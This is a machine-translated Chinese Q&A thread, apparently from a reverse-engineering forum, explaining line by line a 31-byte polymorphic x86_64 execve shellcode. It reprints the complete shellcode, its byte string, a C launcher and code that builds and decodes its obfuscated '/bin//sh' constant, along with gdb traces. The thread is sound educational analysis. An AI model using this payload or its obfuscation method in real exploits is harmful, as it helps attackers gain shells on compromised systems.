这个漏洞利用中的 20 行可执行代码做了什么?

逆向工程 部件 C
2021-06-20 20:31:45

我偶然发现了作者“d4sh&r”发布的这个 31 字节的Linux x86_64 Polymorphic execve Shellcode

代码似乎是汇编和 C 的组合,如下所示:

/*
;Title: polymorphic execve shellcode
;Author: d4sh&r
;Contact: https://mx.linkedin.com/in/d4v1dvc
;Category: Shellcode
;Architecture:linux x86_64
;SLAE64-1379
;Description:
;Polymorphic shellcode in 31 bytes to get a shell 
;Tested on : Linux kali64 3.18.0-kali3-amd64 #1 SMP Debian 3.18.6-1~kali2 x86_64 GNU/Linux

;Compilation and execution
;nasm -felf64 shell.nasm -o shell.o
;ld shell.o -o shell
;./shell

global _start

_start:
    mul esi
    push rdx
    mov al,1                         
    mov rbx, 0xd2c45ed0e65e5edc ;/bin//sh 
    rol rbx,24
    shr rbx,1
    push rbx
    lea rdi, [rsp] ;address of /bin//sh
    add al,58
    syscall

*/
#include<stdio.h>
//gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
unsigned char code[] = "\xf7\xe6\x52\xb0\x01\x48\xbb\xdc\x5e\x5e\xe6\xd0\x5e\xc4\xd2\x48\xc1\xc3\x18\x48\xd1\xeb\x53\x48\x8d\x3c\x24\x04\x3a\x0f\x05";

main()
{
   int (*ret)()=(int(*)()) code;
    ret();
}

我很好奇,第 17-40 行的每一行都做了什么,具体来说,这是如何完成漏洞利用的?

(第 17 行是带有“global _start”表达式的那一行)

2个回答

编辑: @EnricoGhirardi 感谢您指出我之前发布mul esi不准确之处!

首先,在下面的示例中,第一条指令mul esiraxrdx清零(这只是因为rsi开始时为 0)。最低有效位将存储在rax 中,最高有效位将存储在rdx 中这两个寄存器都为零。编译测试代码后,我们可以通过以下方式验证这一点:

gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
gdb shellcode

**BANNER SNIPPED**

Dump of assembler code for function main:
   0x00000000004004ed <+0>:     push   %rbp
   0x00000000004004ee <+1>:     mov    %rsp,%rbp
   0x00000000004004f1 <+4>:     sub    $0x10,%rsp
   0x00000000004004f5 <+8>:     movq   $0x601060,-0x8(%rbp)
   0x00000000004004fd <+16>:    mov    -0x8(%rbp),%rdx
   0x0000000000400501 <+20>:    mov    $0x0,%eax
   0x0000000000400506 <+25>:    callq  *%rdx
   0x0000000000400508 <+27>:    leaveq 
   0x0000000000400509 <+28>:    retq   
End of assembler dump.
(gdb) b *0x0000000000400506
Breakpoint 1 at 0x400506
(gdb) c
The program is not being run.
(gdb) r


Breakpoint 1, 0x0000000000400506 in main ()
(gdb) si
0x0000000000601060 in code ()
(gdb) disas
Dump of assembler code for function code:
=> 0x0000000000601060 <+0>:     mul    %esi
   0x0000000000601062 <+2>:     push   %rdx
   0x0000000000601063 <+3>:     mov    $0x1,%al
   0x0000000000601065 <+5>:     movabs $0xd2c45ed0e65e5edc,%rbx
   0x000000000060106f <+15>:    rol    $0x18,%rbx
   0x0000000000601073 <+19>:    shr    %rbx
   0x0000000000601076 <+22>:    push   %rbx
   0x0000000000601077 <+23>:    lea    (%rsp),%rdi
   0x000000000060107b <+27>:    add    $0x3a,%al
   0x000000000060107d <+29>:    syscall 
   0x000000000060107f <+31>:    add    %al,(%rax)
End of assembler dump.
(gdb) i r rax rdx
rax            0x0      0
rdx            0x601060 6295648
(gdb) si
0x0000000000601062 in code ()
(gdb) i r rax rdx
rax            0x0      0
rdx            0x0      0

我们可以看到,rax 和 rdx 都是 0,这意味着 esi(或 rsi)已经乘以零。

这很重要,因为 shellcode 最终在第 29 行使用了一个系统调用。我们可以看到,第 29 行的系统调用前面是add al,58,其中 al 已经是 1,因此 rax 寄存器的值将是 59。

数字59是该指数的execveLinux的x86_64的系统调用表

execve将执行 /bin//sh。让我们看看函数原型:

int execve(const char *filename, char *const argv[], 
       char *const envp[]); 

根据原型的描述文件名必须是二进制可执行文件,或以“#!interpreter [arg]”形式的一行开头的脚本

我们将看到最终 shellcode 传递了/bin//sh作为这个参数。

argv只是传递给二进制文件的参数。在这种情况下,参数为 NULL,因为正如我们之前看到的,rsi寄存器先前在第 20 行被清零。

同样,envp是传递给二进制文件的环境参数。同样,没有,因为我们已经看到mul %esi指令已将rsirdx都清零在 x86_64 Linux 中,rsirdx寄存器分别是execve()的第二个和第三个参数

您可以在此处找到有关 x86_64 调用约定的更多信息,以了解如何将参数传递给函数。

最后,execve 中的第一个参数/bin//sh,它最终被传递到edi寄存器。edi保存 Linux x86_64 程序集中的第一个函数参数。

有趣的是,这是多态的 shellcode我们可以将多态 shellcode 视为经过混淆的机器指令,它们在执行时对自身进行反混淆。

在第 23 行,ascii 中的十六进制字符串0xd2c45ed0e65e5edcÒÄ^Ðæ^^Ü,这显然被混淆了。

第 24 和 25 行对该字符串进行反混淆处理,我们得到0x68732f2f6e69622f,它是ASCII格式hs//nib/这是/bin//sh向后拼写的,因为参数little endian byte order传递给 execve()

为了验证概念,您可以在 gdb 中运行代码,或使用我编写的以下反混淆器:

#include <stdio.h>
#include <stdint.h>
#include <inttypes.h>

uint64_t rol(uint64_t v, unsigned int bits)
{
  return (v<<bits) | (v>>(8*sizeof(uint64_t)-bits));
}

int main(void)
{
  uint64_t obfuscated = 0xd2c45ed0e65e5edc;
  uint64_t deobfuscated = rol(obfuscated, 24);
  deobfuscated /= 2;
  printf("0x%" PRIx64 "\n", deobfuscated);
  return 0;
}

您将获得反混淆后的十六进制字符串0x68732f2f6e69622f,它也是ASCII格式的hs//nib/

第 26 行将反混淆后的 /bin//sh 压入堆栈顶部(即在rsp寄存器中),第 27 行将指向字符串/bin//sh的地址加载rdi 中再次请注意,这个字符串是以小端字节序传递的。现在我们可以清楚地看到/bin//shexecve() 中的第一个参数

然后,shell 在第 29 行执行。

以下是注释的伪代码摘要:

_start:
    mul esi                     ; When this shellcode is executed, rsi and rdx become 0 because they are multiplied by rax which is 0, in Linux x86_64 assembly, rsi is the second argument in a function
    push rdx                    ; save rdx (i.e. the buffer pointer to the shellcode), rdx is also the third argument passed to a syscall in x86_64
    mov al,1                    ; used for obfuscation since mov al, 59 followed by syscall may look suspicious                       
    mov rbx, 0xd2c45ed0e65e5edc ;/bin//sh obfuscated 
    rol rbx,24                  ; Deobfuscate the hex string /bin//sh
    shr rbx,1                   ; Division by 2 to further deobfuscate /bin//sh
    push rbx                    ; Push the hex string on the top of the stack [in rsp]
    lea rdi, [rsp]              ; Load /bin//sh into rdi in little endian
                                ; in linux 86_64 the first argument is passed to rdi during a syscall
    add al,58                   ; al = 59 i.e. call execve
    syscall                     ; execve("/bin//sh", 0, *shellcode_buffer)

至于 C 代码,代表第 17-29 行编译后的程序集的机器指令存储在一个全局变量中。我们可以使用以下命令来检查 shellcode 中的字节:

    $ nasm -felf64 shell.asm -o shell.o
    $ ld shell.o -o shell
    $ xxd shell

    CONTENT SNIPPED
    00000080: f7e6 52b0 0148 bbdc 5e5e e6d0 5ec4 d248  ..R..H..^^..^..H
    00000090: c1c3 1848 d1eb 5348 8d3c 2404 3a0f 0500  ...H..SH.<$.:...

如我们所见,它与 C 代码中的以下缓冲区匹配:

unsigned char code[] = "\xf7\xe6\x52\xb0\x01\x48\xbb\xdc\x5e\x5e\xe6\xd0\x5e\xc4\xd2\x48\xc1\xc3\x18\x48\xd1\xeb\x53\x48\x8d\x3c\x24\x04\x3a\x0f\x05";

main 中的代码简单地将字符串缓冲区全局变量转换为一个函数指针,然后调用该函数指针,执行多态 shellcode,并生成一个 shell。

最后,shellcode 只是漏洞利用的一个可能部分。漏洞利用包括为特定版本的程序和操作系统精确定制的输入。shellcode 可以是有效载荷的一部分,但操作系统已经变得更加安全,添加了 ASLR(地址堆栈布局随机化)和 DEP(数据执行保护),因此通常将函数指针覆盖到 GOT(全局偏移表)中更实用) 而不是将 shellcode 注入缓冲区。假设您正在执行通用堆栈缓冲区溢出,缓冲区必须至少为 0x19 字节长。您还需要更多空间来补偿其余的漏洞利用。换句话说,

这只是一个例子,但是这个 shellcode 可以通过更多的方式用于漏洞利用。

退后几步,如果esi/rsi不是 0 开始,这个 shellcode 可能会失败,因为如果它不是零,那么我们将有第二个参数传递给execve()甚至可能是第三个参数,如果来自指令mul esi溢出到edx如果mul esi指令之前有一个xor esi, esi指令 shellcode 会更可靠

我们还可能会思考漏洞利用开发人员是如何想出经过混淆的十六进制字符串0xd2c45ed0e65e5edc 的他们只是采用原始字符串hs//nib/并以相反的顺序应用反混淆指令。您可以使用以下代码进行概念验证:

#include <stdio.h>
#include <stdint.h>
#include <inttypes.h>

uint64_t ror(uint64_t v, unsigned int bits)
{
  return (v>>bits) | (v<<(8*sizeof(uint64_t)-bits));
}

int main(void)
{
  uint64_t deobfuscated = 0x68732f2f6e69622f;
  uint64_t obfuscated = deobfuscated * 2;
  obfuscated = ror(obfuscated, 24);
  printf("0x%" PRIx64 "\n", obfuscated);
  return 0;
}

您应该获得原始混淆的十六进制字符串0xd2c45ed0e65e5edc

上面的答案大部分是正确的,但也有一些不准确之处。我无法发表评论,因此我将在此答案中添加更正。

首先,我认为这不是一个好的 shellcode,因为它对 %rax 和 %rsi 都有假设。@itsbriany 正确地指出 %rax 为零,但只有在作者编写的特定启动器中才会出现这种情况。在定义 ret 函数时,未指定参数的数量,使其成为 C 标准的可变参数函数。对于 x86_64 ABI,如果函数具有可变参数,那么 AL(它是 EAX 的一部分)应该保存用于保存该函数参数的向量寄存器的数量。只需将定义更改为这样:

int (*ret)(void)=(int(*)()) code;

导致分段错误。然后操作

mul esi

不会像其他答案所暗示的那样将 %esi 归零。在这种情况下,它将 %esi 和 %eax 相乘,并将高位存储在 %edx 中,低位存储在 %eax 中,从而清除 %edx。%esi 永远不会被修改,实际上它仍然指向原始程序的 argv 数组。在另一个 %esi 有一些无效值的程序中,shell 代码也不起作用。%edx 似乎也无缘无故地被压入堆栈。